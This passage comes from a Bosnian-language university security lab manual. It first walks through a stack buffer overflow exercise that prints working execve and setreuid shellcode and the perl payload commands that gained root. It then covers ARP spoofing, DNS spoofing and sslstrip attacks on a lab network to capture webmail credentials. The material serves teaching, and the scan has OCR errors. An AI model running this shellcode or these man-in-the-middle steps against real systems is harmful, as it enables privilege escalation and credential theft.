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Jedan od nacina je da se uradi XOR operacija registra sa samim sobom §to
¢e rezultirati upisivanjem nule u registar. Koristeéi ovakav pristup napisan je
asemblerski kod u nastavku i upisan u datoteku shell kod.s.

BITS 32

; shell_kod.s
; execve(const char xfilename, char xconst argv [],
: char xconst envp[])

XOor eax, eax ; upisuje sve nule u EAX
push eax ; stavlja ove nule na stack
; za kasniju upotrebu
push 0x68732f2f ; stavlja ”//sh” na stack
push 0x6e69622f ; stavlja 7/bin” na stack
mov ebx, esp ; upisuje adresu ”/bin//sh”
; iz ESP u EBX
push eax ; stavlja 32—bitni nul terminator
; na stack
mov edx, esp ; upisuje pokazivac na nul string
; iz ESP u EDX
push ebx ; adresu stringa iz EBX na stack
; prije nul termininatora
mov ecx, esp ; upisuje argv array sa pokazivacem
; na string
mov al, 11 ; upisuje 11 u EAX za sistemski
; poziv execve
int 0x80 ; poziva intertupt 0x80 za sistemski
;. poziv

Ovaj asemblerski kod se moze pretvoriti u maginski koristenjem nasm asemblera:
$ nasm shell kod.s

Ovaj masinski kod upisan je u datoteku shell kod. Ako se ova datoteka ispise
koristenjem hexdump komande dobije se niz bajta od kojih se datoteka, i zeljeni
shellcode, sastoji:

$ hexdump -C shell_kod

00000000 31 cO 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50
|1.Ph//shh/bin..P]|

00000010 89 e2 53 89 el b0 Ob cd 80
.S |

00000019
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Ovaj kod je relativno kratak, 25 bajta, sto ga ¢ini upotrebljivim i za male sprem-
nike koji se prepunjavaju podacima prilikom napada.

Kada je napravljen kod koji se zeli izvrsiti potrebno je naéi adresu na kojoj
¢e se nalaziti ovaj kod i kojom ¢e se prepisati povratna adresa na stack-u.

Jedan od nacina da se dode do adrese na kojoj se nalazi stack je da se napise
mali program koji ispisuje adresu na kojoj se nalazi njegova varijabla ili varijable.
Adresa koja se ispiSe nalazi se na stack-u pa moze sluziti za odredivanje adrese
kojom treba prepisati povratnu adresu.

Za otkrivanje adrese napisan je program ispisi_adresu.c ¢iji kod je dat u
nastavku.

#include <stdio.h>

int main(int argc, char xargv([]) {
int i; // lokalna varijabla

// ispisi adresu varijable
printf(” Adresa je %x\n”, (unsigned int) &i);

Program ima jednu cjelobrojnu varijablu i njenu adresu ispisuje.

Program je kompajliran i linkovan kao 32 bitni sa poravnanjem stack na cetiri
bajat, kao i program koji se napada, komandom:
$ gcc -m32 -mpreferred-stack-boundary=2 -o ispisi_adresu
ispisi_adresu.c

Program je pokrenut i ispisana je adresa varijable:
$ ./ispisi adresu
Adresa je ffffceel

Ova adresa se nalazi pri dnu stack-a. Napadacki kod upisuje se u varijablu
poruka veli¢ine 100 bajta koja je deklarisana treca, prije nje su dvije cjelobrojne
varijable. To zna¢i da se upisuje na adresu za (oko) 104 (100 + 4) bajta veéu
od one koju je vratio program ispisi_adresu. Ovo znaé¢i da bi se adresa sa kojom
se prepisuje trebala biti nesto ve¢a od ove. Ta¢na adresa zavisi od toga gdje se
kod nalazi u nizu bajta koji se salje kao i od toga kako su varijable organizovane
(poravnate) u memoriji. Da bi se olaksalo pogadanje adrese koristi se jednostavna
ideja. U niz bajta kojim se prepisuje memorija se na pocetku stavi odreden broj
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NOP (no operation) komandi prije koda koji se zeli izvrsiti. To su komande koje
ne rade nista. Rezultat njihovog izvrsavanja je da se prelazi na slijede¢u naredbu
u memoriji. To znaci da ako se povratna adresa na stack-u prepisSe se nekom od
adresa NOP komandi, onda ¢ée se izvrsiti niz NOP komandi (bez ikakvih poslje-
dica) dok se ne dode do napadackog koda koji ¢e se onda izvrsiti. Na ovaj nacin
je dovoljno pogoditi bilo koju adresu na kojoj se nalazi neka NOP komanda.

Prema tome niz bajta koji treba proslijediti programu poruke treba se sasto-
jati od niza NOP komandi, koda koji se Zeli izvrsiti i adrese kojom se Zeli prepisati
povratna adresa ponovljene vise puta.

U konkretnom slu¢aju NOP komande, na x86 arhitekturi su jednobajtne ins-
trukcije ¢ija je heksadecimalna vrijednost 90. Kod koji se zeli izvrsiti je 25 bajta
koji su zapisani u datoteci shell kod. Adresa kojom se zeli prepisati bi trebala
biti ¢etiri bajta Cija je vrijednost za oko 128 (djeljiva sa 4 radi poravnanja) manja
od adrese koju je vratio program ispisi_adresu. Ako se izra¢una: heksadeci-
malno ffffcee0 - heksadecimalno 80 (128 decimalno) = heksadecimalno ffffce60.
Broj NOP bajta bi trebao biti takav da u zbiru sa brojem bajta koda koji se zeli
izvrsiti (25) bude djeljiv sa Cetiri. Ukupna duzina niza bajta bi trebala biti oko
150 bajta da se osigura prepisivanje povratne adrese, ali ne i mnogo ve¢ih adresa.
Prvi pokusaj ¢e biti sa 51 NOP bajta + 25 bajta shellcode 4+ 20 puta po Cetiri
bajta vrijednosti ffffce48. Ovaj niz bajta se programu poruke moze proslijediti
slijede¢om komandom (sve u jednom redu):
$ ./poruke $(perl -e ’print "\x90"x51’)$(cat shell kod)$(perl -e
’print "\x60\xce\xff\xff"x20’)

Rezultat izvrsavanja ove komande nije dao ocekivani rezultat. Nakon malo
eksperimentisanja sa promjenom adrese i duzinom niza bajta slijede¢a komanda
polucila je zeljeni rezultat:
$ ./poruke $(perl -e ’print "\x90"x51’)$(cat shell kod)$(perl -e
‘print "\x48\xce\xff\xff"x12’)

Poruka je sacuvana.
#

# whoami

root

Neprivilegovani korisnik dobio je privilegovani root pristup.
Adresa je bila nesto manja nego $to je procijenjeno, kao i ukupna potrebna

duzina niza bajta. Mogucée je napraviti skriptu ili program koji ¢e pozivati pro-
gram poruke (ili neki drugi program koji se napada), koja ¢e isprobavati razlicite
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adrese i duzine niza bajta u okolini procijenjenih dok se ne dobije zeljeni rezultat.

Kasnijim ”igranjem” moze se odrediti minimalna i maksimalna duzina niza
bajta, kao i minimalni (radilo je i sa tri) i maksimalni broj NOP, te opseg adresa
za koje se dobije zeljeni rezultat.

Moguce je, na novijim verzijama Linux, da se napad uspjesno izvrsi, ali da se
ne dobije privilegovani pristup.
$ ./poruke $(perl -e ’print "\x90"x51’)$(cat shell kod)$(perl -e
’print "\x44\xce\xff\xff"x12’)
Poruka je sacuvana.
$
$ whoami
studentad

Razlog za ovo lezi u pristupu da se izvrsavanje procesa kao privilegovani koris-
nik koristi samo u trenutku kad je to neophodno, a zatim da se privilegije vrate
na korisnika koji je pokrenuo program. Ovdje su privilegije potrebne prilikom
pisanja u datoteku, pa se u trenutku napada (povratak iz programa) program
izvrSava kao korisnik ”studentad” koji je pokrenuo program.

Kako je opisano u [45], ovu prepreku napada¢ moze zaobi¢i dodavanjem nesto
napadackog koda u postojeéi. Prije izvrsavanja, postojecéeg, koda koji pokrece
shell, potrebno je izvrsiti kod koji vraéa privilegije procesa na inicijalne (root). Za
ovo sluzi sistemski poziv setreuid. Prema definiciji sistemskog poziva setreuid

{int setreuid (uid_t ruid, uid_-t euid);}
prvi parametar je stvarni, a drugi efektivni UID. Ovdje oba trebaju pokazivati

na root odnosno njihova vrijednost treba biti 0.

Sistemski poziv se radi na isti nacin kao i ranije koriSteni execve. Prije poziva
interrupt 0x80 u registar EAX treba upisati vrijednost 70 (46 heksadecinalno),
a u registre EBX i ECX vrijednost 0. Asemblerski kod kojim se ovo postize, a
zatim poziva shell dat je u nastavku?;

BITS 32

; shell_kod2.s

2 Ovdje su zadovoljeni svi, ranije objasnjenji, uslovi koji se postavljaju pred ovakav
shellcode.
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; setreuid (uid_t ruid, uid_t euid)

XOor eax, eax ; upisuje nula u EAX

xor ebx, ebx ; upisuje nula u EBX

XOr ecX, ecx ; upisuje nula u ECX

mov al, 0x46 ; upisuje 70 u EAX za sistemski
; poziv setreuid

int 0x80 ; poziva intertupt 0x80 za sistemski
; poziv

; execve(const char xfilename, char xconst argv [],
char xconst envp[])

XOr eax, eax ; upisuje sve nule u EAX
push eax ; stavlja ove nule na stack
; za kasniju upotrebu
push 0x68732f2f ; stavlja 7//sh” na stack
push 0x6e69622f ; stavlja 7/bin” na stack
mov ebx, esp ; upisuje adresu ”/bin//sh”
; iz ESP u EBX
push eax ; stavlja 32—bitni nul terminator
; na stack
mov edx, esp ; upisuje pokazivac na nul string
; iz ESP u EDX
push ebx ; adresu stringa iz EBX na stack
; prije nul termininatora
mov ecx, esp ; upisuje argv array sa pokazivacem
; na string
mov al, 11 ; upisuje 11 u EAX za sistemski
; poziv execve
int 0x80 ; poziva intertupt 0x80 za sistemski
; poziv

Ponovo je asemblerski kod pretvoren u masinski koristenjem nasm asemblera:
$ nasm shell kod2.s

Ovaj masinski kod upisan je u datoteku shell kod2. Ako se ova datoteka
ispiSe koristenjem hexdump komande dobije se niz bajta od kojih se datoteka, i
zeljeni shellcode, sastoji:

$ hexdump -C shell kod2

00000000 31 c0 31 db b0 46 31 ¢9 cd 80 31 c0 50 68 2f 2f
|1.1..F1...1.Ph//|
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00000010 73 68 68 2f 62 69 6e 89 €3 50 89 e2 53 89 el b0
|shh/bin..P..S...]|
00000023

Ovaj kod je duzi za 10 bajta, 35 bajta, pa je prilikom napada potrebno ovo uzeti
u obzir.

Pokusan je napad sa novim shellcode pri ¢emu je broj NOP smanjen za 10,
za koliko je ovaj kod duzi od prethodnog,
$ ./poruke $(perl -e ’print "\x90"x41’)$(cat shell kod2)$(perl -e
‘print "\x44\xce\xff\xff"x12’)
Poruka je sacuvana.
#
# whoami
root

Uspjesno je dobiven pristup privilegovanog korisnika root.

Za samostalan rad treba provjeriti Sta se deSava kad se aktiviraju zastite
prevodenje bez -fno-stack-protector i/ili -z execstack i aktivira promjenljiva
adrese stack sa komandom:

# echo "2" > /proc/sys/kernel/randomize va_space

Ovu komandu svakako treba otkucati da bi se sistem vratio u pocetno (si-
gurno) stanje.
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VJEZBA: Sigurnosni propusti standardnih
mreznih protokola

Upoznavanje studenata sa sigurnosnim propustima u standardnim mreznim pro-
tokolima i alatima za provjeru postojanja ovih propusta. Ovi protokoli nisu na-
pravljeni sa pretpostavkom da moze postojati zlonamjerni ucesnik u komunika-
ciji. Navedeni alati postoje odavno, ali jos uvijek se uspjesno mogu iskoristiti za
napade na nezaSti¢ene mrezne protokole.

6.1 Kolekcija alata dsniff

Potrebno je instalirati kolekciju alata dsniff.

Rjesenje:

Kolekcija alata dsniff sastoji se od nekoliko alata koji omoguéavaju testiranje si-
gurnosti racunarske mreze. Neki od alata omogucéavaju presretanje i prisluskivanje
mreznog saobracaja bez znanja i saglasnosti zrtve, dok drugi to ostvaruju putem
redirekcije za koju je potrebno prevariti zrtvu da prihvati redirekciju. Ovdje e
biti prikazana upotreba nekoliko najc¢esée koristenih alata. Iako su alati napisani
prije 2000. godine i danas se mogu koristiti. Posebno su korisni za ovakve kurseve
koji ukazuju na sigurnosne propuste i principe na kojim su zasnovani.

Primjeri su prikazani na Linux Ubuntu 16.04 64 bitna verzija. Spakovana
datoteka sa svim alatima u tar.gz formatu moze se na¢i na web lokaciji autora
aplikacije (http://monkey.org/ dugsong/dsniff/) [52]. Posto postoji instalacioni
paket za koristenu Ubuntu linux distribuciju, instalacija dsniff je uradena iz pa-
keta putem standardne komande:
sudo apt-get install dsniff
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6.1.1 arpspoof

Koristenjem alata arpspoof iz ove kolekcije potrebno je preusmjeriti saobracaj
sa jednog racunara u mrezi koji ide van mreze u laboratoriji preko ra¢unara sa
kog je pokrenut alat. Ovim se ra¢unar koji se koristi za napad dovodi u poziciju
da ima pristup svom saobracaju koji sa ostalim mrezama ima napadnuti racunar.

RjeSenje:
Arpspoof koristi ¢injenicu da arp protokol ne provjerava porijeklo arp odgo-
vora. Tokom ovog napada arpspoof se sa racunara napadaca predstavlja zrtvi
kao racunar ¢ija MAC adresa odgovara IP adresi default gateway. Napad po-
drazumijeva da su i zrtva i napada¢ u istom mreznom segmentu koji ima isti
default gateway. Kada zrtva prihvati ovo lazno IP na MAC preslikavanje koje joj
arpspoof dostavi, sve svoje pakete za druge mreze, koji idu preko default gateway
¢e slati na MAC adresu napadaca. Napada¢ sada ima pristup svom saobracaju
koji zrtva Salje u druge mreze. Da zrtva ne bi primijetila da njen saobracaj ne ide
do default gateway potrebno je taj saobracaj sa raCunara napadaca proslijediti
do default gateway. 1z tog razloga na racunaru napadaca mora biti omoguceno IP
prosljedivanje. Da bi se odgovori na pakete koje zrtva salje preko default gateway,
i ra¢unara napadaca, mogli takode prisluskivati potrebno je i default gateway pos-
lati lazno preslikavanje IP adrese zrtve u MAC adresu napadaca. Na taj nacin
ée default gateway sve pakete za Zrtvu, adresirane na njenu IP adresu, slati na
MAC adresu napadaca. Napada¢ ¢e sada imati pristup i ovom saobracaju, koji
¢e naravno prosljedivati i do zrtve da sakrije napad.

Konkretna izvedba napravljena je na mrezi prikazanoj na slici 6.1 koja se
sastoji od:

e racunara napadaca, Ubuntu 16.04, sa IP adresom 192.168.10.134/24, MAC
adresom 08:00:27:9f:be:8e i IP adresom default gateway 192.168.10.1;

e racunara zrtve, Windows 7, sa IP adresom 192.168.10.143/24, MAC adresom
08:00:27:eh:9a:ab i istom IP adresom default gateway 192.168.10.1

e Default gateway, TP link AP /ruter/switch, sa unutrasnjom IP adresom
192.168.10.1/24 i MAC adresom 10:fe:ed:d6:e9:€5.

Na racunaru napadaca ukljuceno je IP prosljedivanje pokretanjem kao root
korisnik, komande:
# echo 1 > /proc/sys/net/ipv4/ip_forward
# exit

Na ra¢unaru napadaca pokrenuta je, kao privilegovani korisnik, komanda koja
radi navedeno lazno preslikavanje IP u MAC adrese. U opstem slucaju ta komanda
jer
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Slika 6.1: Prikaz mreze koristene za demonstraciju napada

arpspoof -i enterfejs -t IP_Zrtve -r IP_default_gateway
Ovdje je vrijednost parametra ”-i” interfejs naziv Ethernet interfejsa racunara
napadaca. Vrijednost parametra ”-t” IP_Zrtve je IP adresa zrtve ¢iji saobracaj
se zeli prisluskivati. Parametar ”-r” oznacava da se ovo lazno preslikavanje radi
u oba smjera, odnosno i ka zrtvi i ka default gateway. IP_default_gateway je IP
adresa default gateway zrtve, i napadaca, ¢ija MAC adresa se Zeli zamijeniti MAC
adresom napadaca.

Konkretna koristene komanda bila je:

sudo arpspoof -i enpOs3 -t 192.168.10.143 -r 192.168.10.1

Pokretanjem komande pocelo je slanje laznih arp objava ka zrtvi (da je IP
adresa default gateway na MAC adresi napadaca ) i ka default gateway (da je IP
adresa zrtve na MAC adresi napadaca) kako je prikazano na slici 6.2.

'smrdovic@ve1604:~$ sudo arpspoof -i enp®s3 -t 192.168.10.143 -r 192.168.10.1 |
|8:0:27:9f:be:Be 8:0:27:e5:9a:ab 0806 42: arp reply 192.168.10.1 is-at 8:0:27:9f:
be:8e

lg:0:27:9f:be:8e 10:fe:ed:d6:e9:e5 0806 42: arp reply 192.168.10.143 is-at 8:0:27
|:9f:be:8e

8:0:27:9f:be:8e 8:0:27:e5:9a:ab 0806 42: arp reply 192.168.10.1 is-at 8:0:27:9f:
be:8ge

8:0:27:9f:be:8e 10:fe:ed:d6:e9:e5 0806 42: arp reply 192.168.10.143 is-at 8:0:27
:9f:be:8e

Slika 6.2: Koristena arpsoof komanda



138 6 VJEZBA: Sigurnosni propusti standardnih mreznih protokola

Rezultat izvrsenja ove komande je da je na rac¢unaru zrtve doslo do upisa
objavljenog laznog preslikavanja IP adrese default gateway, 192.168.10.1 u MAC
adresu napadaca, 08:00:27:9f:be:8e, (arp poisoning). Ovo se moze vidjeti iz ispisa
arp tabele na rac¢unaru zrtve na slici 6.3.

C:\Usershstudentad>arp -a

[nterface: 192.168.10.143 —— 0Bxb
Internet Address Physical Address Type
192.168.10.1 08-00-27-9f-be-Be  dynamic

Slika 6.3: arp tabela na racunaru zrtve

Na ovaj na¢in omoguceno je napadacu da ima pristup kompletnom saobracaju
zrtve ka i od vanjskih mreza. Da bi se ovo pokazalo na racunaru napadaca pokre-
nut je alata za snimanje i prikazivanje mreznog saobracaja Wireshark sa filterom
da prikazuje samo saobracaj vezan za adresu zrtve, 192.168.10.143, a na racunaru
zrtve izvrSen je pristup web lokaciji Elektrotehnickog fakulteta u Sarajevu na
www.etf.unsa.ba.

U Wireshark na ra¢unaru napadaca uhvaéeni su svi paketi zrtve. Jedan dio
njih, vezan za DNS upit za domensko ime www.etf.unsa.ba i HT'TP zahtjev ka
ovoj adresi prikazani su na slici 6.4.

Dolazak do saobracaja zrtve je obi¢no pocetak i/ili preduslov za dalje napade
koji ée biti prikazani u nastavku i u drugim poglavljima. Potrebno je napomenuti
da bi upotreba TLS ili drugog protokola viseg nivoa koji Sifrira podatke prije
slanja onemogucila da se pri ovakvom napadu dode do sadrzaja paketa.

Na racunaru napadaca kada je napad zavrSen trebalo bi iskljuciti IP prosljedivanje
pokretanjem kao root korisnik, komande:
# echo 0 > /proc/sys/net/ipv4/ip_forward

Arpspoof nije jedini alat koji ima ove moguénosti. Odli¢na alternativa je Et-
tercap, a i alat Cain and Abel koristen ranije nudi ovu moguénost. Bitno je znati
da ova moguénost postoji i princip na kom je realizovana.
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File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
Am i@ mMERR Qes»EFISEQaQQE

[[]ip.addr == 192.168.10.143 ] ~| Expression...

No. = Time Source Destination Protocel Length Info
2808 88.8402.. 192.168.10.143 192.168.10.1 Standard query @xcace A wwwW.etf.unsa.ba =
10.1 Standard guery response Oxcace A wwW.etf.un..
irect (Re e for h
4 Standard query response @xcace A www.e
78 —~ 80 [SYN] Seq=0 Win=8192 Len:
order] 1078 - 80 [SYN]

282 -0487.. 2z Eal AT 3 HTTP 431 6ET / HTTP/1.1
» Frame 2824: 431 bytes on wire (3448 bits), 431 bytes captured (3448 bits) on interface @ a
» Ethernet II, Src: CadmusCo_e5:9a:ab (08:00:27:e5:9a:ab), Dst: CadmusCo_9T:be:Be (B8:00:27:9f:be:8e)
» Internet Protocol Version 4, Src: 192.168.10.143, Dst: 78.47.195.263
» Transmission Control Protocol, Src Port: 1079 (1079), Dst Port: 80 (80), Seq: 1, Ack: 1, Len: 377
- Hypertext Transfer Protocol
» GET / HTTP/1.1\r\n
Host: www.etf.unsa.ba\rn =]
»
08 @0 27 9T be Be B8 00 27 e5 9a ab 08 ©0 45 @8 e i T 2 -
01 al 2d 28 40 B0 80 06 ee fc cO a8 Oa 8f de 27 R ( FETITIN 7y
c3 cb 84 37 @0 50 67 fb 44 27 dd cb d7 86 50 18 ...7.Pg. D'....P.
61 80 8f 24 @0 6O 47 45 54 20 2f 20 48 54 54 58 ...5..6GE T / HTTP

2f 31 2e 31 6d ba 48 6Ff 73 74 3a 20 77 77 77 2e  /1.1..Ho St: wew.
65 74 66 2e 75 6e 73 61 2e 62 61 0d Da 43 6T 6e  etf.unsa .ba..Con
6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c nection: keep-al

@ 7 wireshark_pcapng_enp0s3_20170220082849_IDHAYy Packets: 5288 - Displayed: 5151 (97.4%) : Profile: Default

Slika 6.4: Ispis mreznog saobradaja zrtve na racunaru napadaca

6.1.2 dnsspoof

Koristenjem alata dnsspoof iz ove kolekcije potrebno je presretati DNS upite sa
jednog raCunara u mrezi i na njih odgovarati sa izabranim skupom IP adresa.
Ovim se saobracaj sa napadnutog ra¢unara preusmjerava na adrese po zZelji na-
padaca na kojima se mogu nalaziti mrezni servisi po volji napadaca.

Rjesenje:

Dnsspoof koristi ¢injenicu da DNS protokol ne provjerava porijeklo DNS od-
govora. Tokom ovog napada dnsspoof sa racunara napadaca odgovara na DNS
upite zrtve sa odgovorima po zelji napadaca. Time napada¢u omoguéava da zrtvu
preusmjeri na IP adresu po zelji napadaca umjesto one na koju se domensko ime
koje je zrtva ukucala preslikava. Da bi napada¢ ovo mogao uraditi potrebno je da
moze prisluskivati pakete koje zrtva Salje, prepoznati DNS upit te odgovoriti na
njega prije DNS servera zrtve. Da bi se ovo postiglo moze se iskoristiti, prethodno
objasnjeni, arpspoof.
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Konkretna izvedba napravljena je na istoj mrezi kao i prethodna prikazanoj
na slici 6.1.

Prije napada potrebno je definisati lazna preslikavanja domenskih imena u IP
adrese koje se zele dati zrtvi To se radi pravljenjem datoteke sa ovim unosima
koja je u formatu hosts datoteke koja se koristila prije nego sto je postojao DNS
(a moze se koristiti i danas). Format unosa u ovu datoteku je:

IP_adresa domensko_ime

Za domensko ime se mogu koristiti i posebni znaci za zamjenu (wildcards),
poput znaka ”*”.

Konkretna datoteka nazvana je ”lazni” i njen sadrzaj je bio slijedeéi:
192.168.10.134 facebook.com
192.168.10.104 *.google.com
192.168.10.139 webmailx*

Na osnovu ove datoteke na DNS upite za facebook.com biée vra¢ena adresa
napadaca, za DNS upite za bilo koji domen ispod google.com bice vracena adresa
192.168.10.104, a na DNS upite za bilo koji domen koji poc¢inje sa webmail bice
vracena adresa 192.168.10.139.

Da bi se presreli DNS upiti zrtve ponovljene su komande iz prethodnog na-
pada;
# echo 1 > /proc/sys/net/ipv4/ip_forward
# exit
sudo arpspoof -i enpOs3 -t 192.168.10.143 -r 192.168.10.1

Opsti oblik dnsspoof komande je:
dnsspoof -i interfejs -f hosts_datoteka iskaz
Ovdje je vrijednost parametra ”-i” interfejs naziv Ethernet interfejsa racunara
napadaca. Vrijednost parametra ”-f” hosts_datoteka je naziv (i putanja, ako treba)
datoteke u koju su pohranjena lazna preslikavanja domenskih imena u IP adrese
koja zele da se koriste za napad. iskaz je logicki iskaz koji se moze koristiti kao
filter saobracaja koji treba prisluskivati i na njega odgovarati.
Konkretna koristene komanda, pokrenuto u drugom terminalu, bila je:
sudo dnsspoof -i enpOs3 -f lazni host 192.168.10.143

Na rac¢unaru zrtve pokrenuta je ping komanda za tri domenska imena koja bi
trebala dobiti odgovore iz laznog preslikavanja i odgovori su bili upravo onakvi
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kakvi su definisani u datoteci "lazni” Sto se moze vidjeti sa slike 6.5.

Administrat d. ex
C:\Users\studentad>ping facebook.com

Pinging Tacebook.com [192.168.10.134]1 with 32 bvtes of data:
192.168.10.134: bytes=32 time<Ims TTL=64
192.168.10.134: bytes=32 time<lms TTL=64
192.168.10.134: bytes=32 time<lms TTL=64

Reply from 192.168.10.134: bytes=32 time<lms TTL=64

Ping statistics for 192.168.10.134:

Packets: Sent = &, Received = 4, Lost = 8 (0% loss),
Approximate round trlp times in milli-seconds:

Minimum = Bms, Maximum = Oms, Average = Oms

C:\Users\studentad>ping www.google.com

Pinging www.google.com [192.168.10.104]1 with 32 bytes of data:
192.168.10.104: bytes=32 time<lms TTL=128
192.168.10.104: bytes=32 time<lms TTL=128
192.168.10.104: bytes=32 time<ims TTL=128
192.168.10.104: bytes=32 time<lms TTL=128

Ping statistics for 192.168.10.104:

Packets: Sent = 4, Received = 4, Lost = 8 (0% loss),
fApproximate round trip times in milli-seconds:

Minimum = Bms, Maximum = Bms, Average = Bms

C:\Userssstudentad>ping webmail .etf . unsa.ba

Pinging webmail.etf.unsa.ba [192.168.10.139]1 with 32 bytes of data:
from 192.168.10.139: bytes=3? time<lms TTL=64
192.168.10.139: bytes=32 time<lms TTL=64
192.168.10.139: bytes=32 time<lms TTL=64
Reply from 192.168.10.139: bytes=32 time<lms TTL=064

Ping statistics for 192.163.10.139:

Packets: Sent = 4, Received = =0 {0% loss),
Approximate round trlp times in milli- Seconds

Minimum = Bms, Maximum = Oms, Average = Oms
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Slika 6.5: DNS odgovori dobiveni nakon dnsspoof napada

Odgovori na DNS upite po zelji napada¢a su obi¢no pocetak i/ili preduslov
za dalje napade. Na IP adresama koje su vraéene u laznim odgovorima sada je
moguce podi¢i web stranice koje bi izgledalo identi¢ne onim za koje se lazno pred-
stavljaju i prevariti zrtvu da unese svoje pristupne podatke. Ovakav napad bice

pokazan u poglavlju o phishing-u.

Slicno kao i arpspoof, ni dnsspoof nije jedini alat koji ima ove moguénosti.
Odli¢na alternativa je Ettercap, a i alat Cain and Abel koristen ranije nudi ovu
mogucénost. Bitno je znati da ova moguénost postoji i princip na kom je realizo-
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vana.

Postoji i druga vrsta napada na DNS koja je usmjerena na servere, DNS
cache poisoning. Kod ovog napada napadaé Salje upit DNS serveru za nekom
adresom koju server ne zna, te mora uputiti upit dalje. Napada¢ sam odgovara
na ovaj upit, koristeéi ¢injenicu da DNS server ne provjerava autenti¢nost izvora
odgovora, te Salje i svoje (pogresne) podatke za druge domene za koje nije dobio
upit. DNS server (naivno) prihvata sve podatke koje je dobio sa ciljem buduce
ustede vremena i ¢uva ih u svojoj privremenoj memoriji (cache), te ih koristi da
(pogresno) odgovori na buduée upite od strane drugih ¢vorova o IP adresama tih
domena.

6.2 sslstrip alat

Koristenjem alata sslstrip potrebno je presretati HTTPS saobracaj i do¢i do
korisnickog imena i lozinke koji su uneseni na web lokaciju koja koristi HTTPS.

Rjesenje:

Sslstrip je alat koji se ubacuje u konekciju izmedu web preglednika i web ser-
vera. Sslstrip igra ulogu HTTP/S posrednika (prozy) tako sto web pregledniku
zrtve on predstavlja web server, a za web server predstavlja web preglednik zrtve.
Da bi dosao do podataka koji se razmjenjuju, a koji bi trebali biti zaSti¢eni sa
HTTPS, sslstrip za svoju konekciju sa zrtvom koristi HTTP. Sa web serverom
uspostavlja HTTPS konekciju, koju web server i ocekuje. Na ovaj nacin zrtva ne
dobija upozorenje o pogresnom certifikatu (kao kod nekih drugih MITM napada
na HTTPS) jer uopste ne uspostavlja HTTPS konekciju za koju se provjeravaju
certifikati.

Ovaj napad je njegov autor predstavio na sigurnosnoj konferenciji Black Hat
2009 [27].

Konkretna izvedba napad napravljena je na istoj mrezi kao i prethodna dva
napada prikazanoj na slici 6.1.

Potrebno je preuzeti sslstrip sa web lokacije njenog autora Moxie Marlins-
pike https://moxie.org/software/sslstrip/.

Potrebno je raspakovati preuzetu datoteku komandom;
tar zxvf sslstrip-0.9.tar.gz
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Prebaciti se u direktoriji u koji je raspakovan sslstrip:
cd sslstrip-0.9

Potrebno je imati instaliran python minimalne verzije 2.5. Ako nije instaliran
potrebno ga je instalirati komandom:
sudo apt-get install python

Zatim je potrebno izvrsiti instalaciju sa komandom:
sudo python ./setup.py install

Da bi se konekcija zrtve preusmjerila preko napadaca potrebno je omoguditi
IP prosljedivanje i uraditi arpspoof-ing kao i u prethodnim sluc¢ajevima koman-
dama:
# echo 1 > /proc/sys/net/ipv4/ip_forward
# exit
sudo arpspoof -i enp0Os3 -t 192.168.10.143 -r 192.168.10.1

Na rac¢unaru napadaca potrebno je pokrenuti firewall pravilo koje ¢e preus-
mjeriti HTTP saobracaj sa porta 80 na port na kom ¢e biti pokrenut sslstrip.
U konkretnom sluc¢aju izabrano je da taj port bude 8080. Posto je firewall na
racunaru napadaca (Ubuntu 16.04) alat pf konkretna komanda za preusmjera-
vanje je (u jednom redu):
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80
-j REDIRECT --to-port 8080

Na rac¢unaru napadaca je joS potrebno pokrenuti sslstrip na izabranom
portu 8080 komandom (iz direktorija u koji je raspakovan):
python ./sslstrip.py -1 8080

Sada je na racunaru zrtve otvoren web preglednik i izvrsen pristup web lokaciji
webmail.etf.unsa.ba. Izgled stranice za prijavu koju prikazuju web preglednici
Firefox i Chrome dat je na slikama 6.6 i 6.7.

Crvenom bojom oznacen je dio web preglednika u kom se ukazuje da je ko-
nekcija HTTP, a ne HTTPS. Radi uporedbe izgled istih stranica u normalnoj
situaciji, bez sslstrip i sa HTTPS konekcijama, prikazan je na slikama 6.8 i
6.9.

Posto ova lokacija koristi certifikat koji nije potpisala certifikacijska ustanova

(CA) ¢&iji javni kljué je zapisan u web pregledniku i kod HTTPS prijave se pojav-
ljuje upozorenje koje neukom korisniku ¢ak moze izgledati strasnije od onog za
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===

| 4 Zimbra Web Client SignIn =~ % 'I.\ +

"' ' > ':i webmail etf.unsa.ba c Q Search | ﬁ B 4+ » =

{&)zimbra

Username:

Password:

B Remember me
Wersion: Default E What's This?

Slika 6.6: Firefox - prijava na webmail.etf.unsa,ba sa sslstrip

HTTP konekciju. Pazljivi korisnik ¢e znati razliku, ali upitno je koliki je proce-
nat takvih korisnika koji ¢e obratiti paznju da je upozorenje nesto drugacije nego
inace. Ovo pitanje bice jos obradeno u poglavlju u kom ¢ée biti pokazani phishing
napadi.

Sada je na izvrSena prijava na webmail.etf.unsa.ba sa korisnickim imenima i
lozinkama. Nakon toga zaustavljeno je izvrSavanje sslstrip, sa Ctrl-C.

U datoteci sslstrip.log na lokaciji sa koje je pokrenut sslstrip nalaze se
zapisi saobrac¢aja izmedu zrtve i HT'TPS servera koji uklju¢uju i korisnicko ime
i lozinku koji su uneseni na formi za prijavu. Dio ove datoteke sa korisnickim
imenom i lozinkom (koju je autor sakrio na slici) prikazan je na slici 6.10.

Radi dodatnog objasnjenja dogadaja napravljen je pregled mreznih konekcija
komandom netstat na racunaru zrtve i napadaca. Ovi pregledi prikazani su na
slikama 6.11 1 6.12.
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[a]l=]=] s

_/ Zimbra Web Client Sign = X \'{ \

= e ‘ O WMot secure | webmail.etf.unsaba ¥ |

&) zimbra

B sty signedin | Sign In |

Version: Default Ll What's This?

Slika 6.7: Chrome - prijava na webmail.etf.unsa,ba sa sslstrip

Iz mreznih konekcija zrtve vidi se da sa tog rac¢unara izgleda kao da postoji ko-
nekcija sa racunarom IP adresom 80.65.65.67 koja odgovara webmail.etf.unsa.ba.
Iz mreznih konekcija napadaca vidi se stvarno stanje da su konekcije sa zrtve
(prepoznatljive po brojevima izvornih portova) zapravo sa IP adresom napadaca
i portom 8080 na koji je preusmjeren saobraéaj. !

Napravljen je snimak mreznog saobra¢aja tokom sslstrip napada upotre-
bom Wireshark. Ilustrativan dio ovog snimka prikazan je na slici 6.13.

Sa slike se vidi NAT-irana HTTP konekcija zrtve sa 80.65.65.67 (paketi 28 i
29), kao i HTTPS konekcija napadaca sa istom adresom (paketi od 33 pa nadalje).

